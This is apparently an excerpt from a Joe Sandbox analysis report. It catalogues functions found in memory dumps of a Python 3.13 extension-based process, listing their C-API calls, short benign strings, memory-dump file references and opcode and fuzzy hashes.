Opcode Fuzzy Hash: 61359b9f95460c7ec499c5e0accd51359470329b922d75d77d786f43c05b5c37
Instruction Fuzzy Hash: 25317221B18D0281EF549B29EC5527E23A1BF94BF4F884331EA5E8A7D5DE2CD484CB00

Function 00007FF810C4E5F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 95COMMON

Download Yara Rule

APIs

PySet_Contains.PYTHON313 ref: 00007FF810C4E60C
PyObject_Vectorcall.PYTHON313 ref: 00007FF810C4E65A
_Py_Dealloc.PYTHON313 ref: 00007FF810C4E671
_Py_Dealloc.PYTHON313 ref: 00007FF810C4E6B6

Part of subcall function 00007FF810C413B0: PyNumber_Add.PYTHON313 ref: 00007FF810C41450
Part of subcall function 00007FF810C413B0: _Py_Dealloc.PYTHON313 ref: 00007FF810C41470
Part of subcall function 00007FF810C413B0: _Py_Dealloc.PYTHON313 ref: 00007FF810C41484

Part of subcall function 00007FF810C413B0: PyLong_FromSsize_t.PYTHON313 ref: 00007FF810C4140C
Part of subcall function 00007FF810C413B0: PyLong_FromSsize_t.PYTHON313 ref: 00007FF810C41438
Part of subcall function 00007FF810C413B0: _Py_Dealloc.PYTHON313 ref: 00007FF810C414C6

Strings

feed, xrefs: 00007FF810C4E6CF
bool, xrefs: 00007FF810C4E68C

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$FromLong_Ssize_t$ContainsNumber_Object_Set_Vectorcall
String ID: bool$feed
API String ID: 3415927029-2849697477
Opcode ID: cc7478972eb2070b2c1e01ee8bafa127ce274edca3943b4bd83a6653927853c6
Instruction ID: 67547a7cd920830ff28bd8eb02a7284d1733dd88e3b30405968951b13e6e54c7
Opcode Fuzzy Hash: cc7478972eb2070b2c1e01ee8bafa127ce274edca3943b4bd83a6653927853c6
Instruction Fuzzy Hash: 15414435F0DE4681EB609F11EC512BA6361FF64BE4F495235EA8E8B796DE2CE4408F40

Function 00007FF810C44E80 Relevance: 10.6, APIs: 7, Instructions: 80threadCOMMON

Download Yara Rule

APIs

PyObject_GC_UnTrack.PYTHON313 ref: 00007FF810C44E8D
PyThreadState_Get.PYTHON313 ref: 00007FF810C44E93
_Py_Dealloc.PYTHON313 ref: 00007FF810C44EF4
_Py_Dealloc.PYTHON313 ref: 00007FF810C44F1D
_Py_Dealloc.PYTHON313 ref: 00007FF810C44F46
_Py_Dealloc.PYTHON313 ref: 00007FF810C44F68
_PyTrash_thread_destroy_chain.PYTHON313 ref: 00007FF810C44F95

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$Object_State_ThreadTrackTrash_thread_destroy_chain
String ID:
API String ID: 1450163949-0
Opcode ID: f19acb2a3df6002fcc2efd0156a4668342d7ab9e2443e78629e496a54e39e8a9
Instruction ID: 36c19ec45ac3a37fddf0944ed88937529f5fc3cc5cc0aa561f7887bc5ed00fa4
Opcode Fuzzy Hash: f19acb2a3df6002fcc2efd0156a4668342d7ab9e2443e78629e496a54e39e8a9
Instruction Fuzzy Hash: 8C410A76A08E4281EB558F65DD54328B3A0FF64BB8F241330DA6A8A7D4CF7DE495CB40

Function 00007FF810C936F0 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON313 ref: 00007FF810C9370A
_Py_hashtable_destroy.PYTHON313 ref: 00007FF810C9379B
_Py_Dealloc.PYTHON313 ref: 00007FF810C937B2
_Py_Dealloc.PYTHON313 ref: 00007FF810C937BA
_Py_Dealloc.PYTHON313 ref: 00007FF810C9503E

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Dealloc$Module_Py_hashtable_destroyState
String ID:
API String ID: 3151084188-0
Opcode ID: 50fb4c3440bbd36bed1722a59f209d76b06c80471b48763ce13dcdfe672c265f
Instruction ID: bead5162ad4de74302a48f0c5e583d614a6d5aeaca322b5b01b080f59d0ee41e
Opcode Fuzzy Hash: 50fb4c3440bbd36bed1722a59f209d76b06c80471b48763ce13dcdfe672c265f
Instruction Fuzzy Hash: 7A31F8F690AE42C1EB5A8FE59E5803872A4EF48FF5B24A730C64E45794CF3DA445CB40

Function 00007FF810C41750 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON313 ref: 00007FF810C417B8
PyLong_FromSsize_t.PYTHON313 ref: 00007FF810C417E4
PyNumber_Remainder.PYTHON313 ref: 00007FF810C41801
_Py_Dealloc.PYTHON313 ref: 00007FF810C41818
_Py_Dealloc.PYTHON313 ref: 00007FF810C4182C
_Py_Dealloc.PYTHON313 ref: 00007FF810C4188A

Part of subcall function 00007FF810C43610: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,00007FF810C414E8), ref: 00007FF810C43619
Part of subcall function 00007FF810C43610: fprintf.MSPDB140-MSVCRT ref: 00007FF810C43629
Part of subcall function 00007FF810C43610: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,00007FF810C414E8), ref: 00007FF810C43633
Part of subcall function 00007FF810C43610: fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,00007FF810C414E8), ref: 00007FF810C4363C
Part of subcall function 00007FF810C43610: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF810C414E8), ref: 00007FF810C43642

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$FromLong_Ssize_t__acrt_iob_func$Number_Remainderabortfflushfprintf
String ID:
API String ID: 1333916573-0
Opcode ID: fb68cd77fba82d155f875323acd1584adc52aa9e9d4dd616435360838d21dcef
Instruction ID: 48f892b18dcefd5e647f01b2b63e1e7d6e968d3fb413998d72ba6019b7312ffe
Opcode Fuzzy Hash: fb68cd77fba82d155f875323acd1584adc52aa9e9d4dd616435360838d21dcef
Instruction Fuzzy Hash: 6F417131F18A4242EB684B15AD542796391BF94BF4F084330DE9E8B7D9DF2CE4818B00

Function 00007FF810C413B0 Relevance: 9.1, APIs: 6, Instructions: 102COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON313 ref: 00007FF810C4140C
PyLong_FromSsize_t.PYTHON313 ref: 00007FF810C41438
PyNumber_Add.PYTHON313 ref: 00007FF810C41450
_Py_Dealloc.PYTHON313 ref: 00007FF810C41470
_Py_Dealloc.PYTHON313 ref: 00007FF810C41484
_Py_Dealloc.PYTHON313 ref: 00007FF810C414C6

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$FromLong_Ssize_t$Number_
String ID:
API String ID: 4245833954-0
Opcode ID: 55081f0896a941061c8367117f7951ae77043264a2c7930e9f2525479416507d
Instruction ID: 5eefdc74f4f9f8eb8e343946f0769ddd13436b5ddb84e0ba78319ada15fed001
Opcode Fuzzy Hash: 55081f0896a941061c8367117f7951ae77043264a2c7930e9f2525479416507d
Instruction Fuzzy Hash: 17315036F19E0385EB558B159D642782290BF95BF4F086330DE9E8BBE4EF2CE4418B00

Function 00007FF810C41610 Relevance: 9.1, APIs: 6, Instructions: 102COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON313 ref: 00007FF810C4166E
PyLong_FromSsize_t.PYTHON313 ref: 00007FF810C4169A
PyNumber_Multiply.PYTHON313 ref: 00007FF810C416B2
_Py_Dealloc.PYTHON313 ref: 00007FF810C416D2
_Py_Dealloc.PYTHON313 ref: 00007FF810C416E6
_Py_Dealloc.PYTHON313 ref: 00007FF810C41728

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$FromLong_Ssize_t$MultiplyNumber_
String ID:
API String ID: 3214704217-0
Opcode ID: 6f3243042186fbbc007a3bb2a55ed267d65dde3bf5629f04fa39a32d2aee17b4
Instruction ID: 6e0543003cee89e77760d83818c65709547da96e59d813cb27c32e95fbbadfa7
Opcode Fuzzy Hash: 6f3243042186fbbc007a3bb2a55ed267d65dde3bf5629f04fa39a32d2aee17b4
Instruction Fuzzy Hash: 5D315236B19E0282EF544B15AD543B96290FF95BF4F0D5330EE9E8A7D4DE2CE4918B00

Function 00007FF810C414F0 Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON313 ref: 00007FF810C41546
PyLong_FromSsize_t.PYTHON313 ref: 00007FF810C4155D
PyNumber_Subtract.PYTHON313 ref: 00007FF810C41575
_Py_Dealloc.PYTHON313 ref: 00007FF810C41595
_Py_Dealloc.PYTHON313 ref: 00007FF810C415A9
_Py_Dealloc.PYTHON313 ref: 00007FF810C415EB

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$FromLong_Ssize_t$Number_Subtract
String ID:
API String ID: 2424657569-0
Opcode ID: 5faf2c20e5baab99e04b79ed91c15d4d7852900d0f6be7d65f2534dd643e3afc
Instruction ID: 01a67186623190c1c9363bb3af9e885fcbcd41259e0515c4587d9c7b0773abd9
Opcode Fuzzy Hash: 5faf2c20e5baab99e04b79ed91c15d4d7852900d0f6be7d65f2534dd643e3afc
Instruction Fuzzy Hash: A4316E71B59E4286EB188B159D642B923A0FFD5BF5F081630EE9F8A7D4DF2CE4418B00

Function 00007FF810C461E0 Relevance: 9.1, APIs: 6, Instructions: 69threadCOMMON

Download Yara Rule

APIs

PyObject_GC_UnTrack.PYTHON313 ref: 00007FF810C461ED
PyThreadState_Get.PYTHON313 ref: 00007FF810C461F3
_Py_Dealloc.PYTHON313 ref: 00007FF810C46254
_Py_Dealloc.PYTHON313 ref: 00007FF810C4627D
_Py_Dealloc.PYTHON313 ref: 00007FF810C4629F
_PyTrash_thread_destroy_chain.PYTHON313 ref: 00007FF810C462CC

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$Object_State_ThreadTrackTrash_thread_destroy_chain
String ID:
API String ID: 1450163949-0
Opcode ID: 2d825f1c3907ed007373af623a303abd98192d9e53a96d23d433ea76c9d4f2e8
Instruction ID: 00d5e05977281120c6e6415baa80687df1e188b4f5338affc9c74375218c807b
Opcode Fuzzy Hash: 2d825f1c3907ed007373af623a303abd98192d9e53a96d23d433ea76c9d4f2e8
Instruction Fuzzy Hash: 33310A76A09A02D1EBA48F65DD5432833A0FF59BB8F141330CA5A867D8CFBDD891CB41

Function 00007FF810C93580 Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

_Py_hashtable_new_full.PYTHON313 ref: 00007FF810C935A7
PyMem_Malloc.PYTHON313 ref: 00007FF810C935D9
_Py_hashtable_set.PYTHON313 ref: 00007FF810C9360A
_Py_hashtable_set.PYTHON313 ref: 00007FF810C93630
PyMem_Free.PYTHON313 ref: 00007FF810C95027
_Py_hashtable_destroy.PYTHON313 ref: 00007FF810C95030

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Mem_Py_hashtable_set$FreeMallocPy_hashtable_destroyPy_hashtable_new_full
String ID:
API String ID: 3987031744-0
Opcode ID: f94e81f08e01ae178025ccfcacd7c5abcc2ee10e5cb098ca28c553effc52cefe
Instruction ID: 76fbcbac6f226b617df5349b0d44a433004420621dd36f411e5b7254d3c52eda
Opcode Fuzzy Hash: f94e81f08e01ae178025ccfcacd7c5abcc2ee10e5cb098ca28c553effc52cefe
Instruction Fuzzy Hash: 6C210CA1A19F86D2FB118B65DC0437963A0FF59BD4F04A235DA4D027A4DF3DE595CB00

Function 00007FF810C43100 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

PyUnicode_New.PYTHON313 ref: 00007FF810C43182
PyErr_SetString.PYTHON313 ref: 00007FF810C43267
PyErr_SetString.PYTHON313 ref: 00007FF810C4328A

Strings

string index out of range, xrefs: 00007FF810C4325D
Python int too large to convert to C ssize_t, xrefs: 00007FF810C43280

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String$Unicode_
String ID: Python int too large to convert to C ssize_t$string index out of range
API String ID: 2250126396-644864186
Opcode ID: 6fcf0b5c639be3f9fe38049420fde9d9690f289f31fed8f5b6154fb8b80aeb0c
Instruction ID: 17dfea4834d09dbea938bd19e44f0fb4f0e8847049b439c1f260978279eab2a3
Opcode Fuzzy Hash: 6fcf0b5c639be3f9fe38049420fde9d9690f289f31fed8f5b6154fb8b80aeb0c
Instruction Fuzzy Hash: 61415466B05D0186EF248B1AC8912BD3761FFDCBA4FD89235CA4E87391DE2DD556CB00

Function 00007FF810C91CC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

_PyArg_UnpackKeywords.PYTHON313 ref: 00007FF810C91D35
PyObject_IsTrue.PYTHON313 ref: 00007FF810C91D74
PyArg_Parse.PYTHON313 ref: 00007FF810C91D8F
PyErr_SetString.PYTHON313 ref: 00007FF810C91E05

Strings

name must be a string, xrefs: 00007FF810C91DFB

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Arg_$Err_KeywordsObject_ParseStringTrueUnpack
String ID: name must be a string
API String ID: 3849491949-2047992663
Opcode ID: aa9ed4a75b2b874103aa81bbe353c1eee82910cb93a31c9ea86ac7f182949ae7
Instruction ID: 7f2403ba700474dd451b5c2ac43fea8c761f7af72eff3b72a4d6ee6d3bed92c8
Opcode Fuzzy Hash: aa9ed4a75b2b874103aa81bbe353c1eee82910cb93a31c9ea86ac7f182949ae7
Instruction Fuzzy Hash: 87315BA2B09E46C6EB518B96EC5177A63A0BF88BE4F444235DE4D477A4EF3CE405CB00

Function 00007FF810C43010 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C43036

Strings

division by zero, xrefs: 00007FF810C4302C

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: division by zero
API String ID: 1450464846-3764743415
Opcode ID: 14dbc80cdc4b7fcba2b1ecdaa6d3675efa3883b04a5762cd2a76fe98fca64164
Instruction ID: d4df9abdcf80b271fa02719b7b549b3564aed94488b8cb2e5dad0a7249034b9e
Opcode Fuzzy Hash: 14dbc80cdc4b7fcba2b1ecdaa6d3675efa3883b04a5762cd2a76fe98fca64164
Instruction Fuzzy Hash: 8E217961F19E0246EB558B29AD552756251BFE8BF0F0C8330DA6E8B3D5EF2CE4918B00

Function 00007FF810C810C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

PyType_GetModuleByDef.PYTHON313 ref: 00007FF810C810E8
_PyArg_NoPositional.PYTHON313 ref: 00007FF810C81114

Strings

SimpleQueue, xrefs: 00007FF810C8110D, 00007FF810C82475

Memory Dump Source

Source File: 0000001D.00000002.2001914623.00007FF810C81000.00000020.00000001.01000000.0000005B.sdmp, Offset: 00007FF810C80000, based on PE: true

Associated: 0000001D.00000002.2001845112.00007FF810C80000.00000002.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2001976863.00007FF810C83000.00000002.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2002038707.00007FF810C85000.00000004.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2002106651.00007FF810C86000.00000002.00000001.01000000.0000005B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c80000_check.jbxd

Similarity

API ID: Arg_ModulePositionalType_
String ID: SimpleQueue
API String ID: 3219513047-3395603730
Opcode ID: b13eb3d24af9b795dd754c68c29611673b9b7c1ab224c0623c45a16a34f2924a
Instruction ID: 344f7a450675829d7b1d45e29d9ec139464adb4ebe31b3459246bb16c6116f69
Opcode Fuzzy Hash: b13eb3d24af9b795dd754c68c29611673b9b7c1ab224c0623c45a16a34f2924a
Instruction Fuzzy Hash: A3212A22A09E4291EB518F12AC485BD62E6AF85FF4F085233CE4D46394DE3CE445EB08

Function 00007FF810C535B7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON313 ref: 00007FF810C535BE
PyTuple_Pack.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C536A0
PyObject_SetAttr.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C536B7
_Py_Dealloc.PYTHON313 ref: 00007FF810C536CD

Strings

<module>, xrefs: 00007FF810C536DE

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: 125029dae0e921b427d498fb5851a8a9068d0f6835bb86f790a3777f9a9f1727
Instruction ID: b3903ff3186cbfe95f9ed99ffb5c7362cf517323dc09c8905bad051cd867f80b
Opcode Fuzzy Hash: 125029dae0e921b427d498fb5851a8a9068d0f6835bb86f790a3777f9a9f1727
Instruction Fuzzy Hash: D631B079B08F4681EB099F09BC4056533A4BF68BE4F548A35D98E877A0DF3CE0918F40

Function 00007FF810C5393A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON313 ref: 00007FF810C53940
PyTuple_Pack.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C539FE
PyObject_SetAttr.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C53A15
_Py_Dealloc.PYTHON313 ref: 00007FF810C53A2B

Strings

<module>, xrefs: 00007FF810C53A3C

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: cc451ecd0d38f9368acf9725989b0a51064f9d084aa74756f4ec8ed80d4b2e8c
Instruction ID: e33c2d448276fb6e024fc90e04230f2cceb4b839b805faec8a9d3db43bdb1528
Opcode Fuzzy Hash: cc451ecd0d38f9368acf9725989b0a51064f9d084aa74756f4ec8ed80d4b2e8c
Instruction Fuzzy Hash: 0931BF79B09F5681FB488F55AC901A433A4BF64BF4F448636E98E87760DF3CA1518F40

Function 00007FF810C52DB1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON313 ref: 00007FF810C52DB7
PyTuple_Pack.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C52E5D
PyObject_SetAttr.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C52E74
_Py_Dealloc.PYTHON313 ref: 00007FF810C52E8A

Strings

<module>, xrefs: 00007FF810C52E9B

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: 5cb86f952b3b91da2d05840381576a5aa4bb299827eb04d55cd959ba56aa8577
Instruction ID: 410972f552855bfec10fc24916114bd3ff1222bd0a15f5f54147e3168a7413e0
Opcode Fuzzy Hash: 5cb86f952b3b91da2d05840381576a5aa4bb299827eb04d55cd959ba56aa8577
Instruction Fuzzy Hash: 6331CD69B08F1681FB088F11AC501A533A5FF29BE1F448636D88E87760DF3CA0908F40

Function 00007FF810C53286 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON313 ref: 00007FF810C5328C
PyTuple_Pack.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C5331A
PyObject_SetAttr.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C53331
_Py_Dealloc.PYTHON313 ref: 00007FF810C53347

Strings

<module>, xrefs: 00007FF810C53358

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

